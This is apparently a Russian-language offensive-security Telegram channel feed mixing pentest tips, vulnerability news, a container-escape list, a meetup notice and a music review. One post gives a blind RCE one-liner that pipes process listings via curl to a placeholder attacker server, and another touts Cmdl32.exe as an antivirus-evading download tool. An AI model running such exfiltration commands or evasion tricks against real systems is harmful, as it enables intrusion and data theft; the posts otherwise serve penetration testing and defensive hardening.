Веб уже не тот… ctf таски не актуальны… Когда ты последний раз находил XSS или скулю в проде?

https://www.youtube.com/watch?v=APoK2CG7eMU

Пентестерам (на самом деле и не только) на заметку статья "Как открыть TCP-/UDP-сокет средствами командной оболочки bash". Может быть полезно, когда попали в контейнер и нужно поработать с сетью, а любимых netcat, curl и wget нет и поставить нельзя ...

На помощь идут файловые устройства /dev/tcp и /dev/udp ;)

А если вы хотите не оставлять такую лазейку в своих контейнерах с bash внутри, то надо собрать его без флага --enable-net-redirections.

James Blake выпустил новый альбом, 5ый по счету и клянется что это его лучший альбом, потому что он тут якобы раскрылся по настоящему, стал собой и это его самый личный альбом… Вообщем вышло что то непонятное, возможно я еще не дорос, но это слишком специфичная музыка. Послушайте лучше прошлый альбом, когда он только переехал из Лондона в LA и записал крутую пластинку где затусил с Travis Scott и Andre 3000.

James Blake - Assume Form 2019.

“Assume Form”
“I'm saying, ‘The plan is to become reachable, to assume material form, to leave my head and join the world.’ It seems like quite a modern, Western idea that you just get lost. These slight feelings of repression lead to this feeling of I’m not in my body, I’m not really experiencing life through first-person. It’s like I’m looking at it from above. Which is a phenomenon a lot of people describe when they talk about depression.”

https://www.youtube.com/watch?v=em4joakjkv4&list=PL7x0OpFjxJu8R1yML1E4J7RSUWUqDVu8m

🔥 All Windows versions LPE 0day 🔥

https://www.bleepingcomputer.com/news/security/all-windows-versions-impacted-by-new-lpe-zero-day-vulnerability/

Вспоминаем как крутить скули на легендарном форуме:

https://rdot.org/forum/showthread.php?t=124

#SQLi #webpentest #redteam

LOLBAS Cmdl32.exe

It's like a new certutil.exe but absolutely unheard of by any antivirus software!
"C:\Windows\System32\Cmdl32.exe" (signed by MS) is for you.

#lolbin #lolbas

Grep.app
Теперь грепнуть по всему GitHub нужное нам вхождение прямо из браузера. Пригодится для поиска секретов при пентесте (или на программе bug
bounty) или флагов от CTF, например.

Blind RCE method:
ps aux|curl http://<your-server> -d @-

Нашел очень достойную подборку разных техник побега из контейнера с примерами и описанием, среди которых:
- CVE (уязвимости container runtime и linux kernel)
- Exposed Docker Socket
- Excessive Capabilities
- Host Networking Driver
- Sensitive Mounts

Это актуально и для Kubernetes. Для пентестеров будет полезно знать, как можно нарушить изоляцию контейнеров, а для security team, что надо харденить.

Zoom fixed two post-auth RCE (CVE-2021-34416, CVE-2021-34414) and remote system crash (CVE-2021-34415) in Zoom on-premise Meeting Connector found by our researchers Nikita Abramov and Egor Dimitrenko.

Advisory: https://explore.zoom.us/en/trust/security/security-bulletin/

11 декабря 2021 года в 18:00 будет очередной meetup r0crewKZ в Алматы! Будет бесплатное пиво (в разумных количествах) и доклады!

Темы докладов:

1. Мошенничество OLX: Итоги расследования (morty)

2. Attacking Software Developers. Часть 1 (thatskriptkid)

3. Почему вы этого не делаете? (novitoll)

4. Attacking Software Developers. Часть 2 (thatskriptkid)

5. Эксплоитить Линукс ядро стало сложнее, но нас не остановить (novitoll)

6. Бофаем винду сокетами (undefi)

Место: Lenore Pub, проспект Абая, 124, https://go.2gis.com/jozza

Мы победили в третий раз подряд на The Standoff 365!

#standoff #infosec #phdays #ctf #codeby #nitroteam

@nitroteamchannel

Новый курс от Offensive Security для SOC инженеров 🔥🔥🔥

https://www.offensive-security.com/soc200-osda/

Appsec следующий шаг для редтимера?